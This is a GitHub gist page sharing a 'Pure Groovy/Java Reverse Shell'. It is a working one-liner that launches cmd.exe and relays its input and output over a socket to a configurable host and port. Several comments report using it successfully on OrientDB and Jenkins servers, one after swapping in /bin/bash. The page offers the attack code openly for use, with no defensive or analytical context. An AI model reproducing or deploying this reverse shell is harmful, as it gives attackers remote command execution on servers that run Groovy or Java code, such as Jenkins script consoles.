Instantly share code, notes, and snippets.

Embed
What would you like to do?
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@muttiopenbts

This comment has been minimized.

Copy link

muttiopenbts commented May 1, 2017

Nice one Chris.
Tested this on Orientdb-Linux and worked a treat.

@Reelix

This comment has been minimized.

Copy link

Reelix commented Feb 8, 2018

Works well - Thanks :)

@d3w201

This comment has been minimized.

Copy link

d3w201 commented Mar 2, 2018

N111ce!

@patrickhener

This comment has been minimized.

Copy link

patrickhener commented Apr 4, 2018

Very Nice!

@N0ur5

This comment has been minimized.

Copy link

N0ur5 commented Nov 27, 2018

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment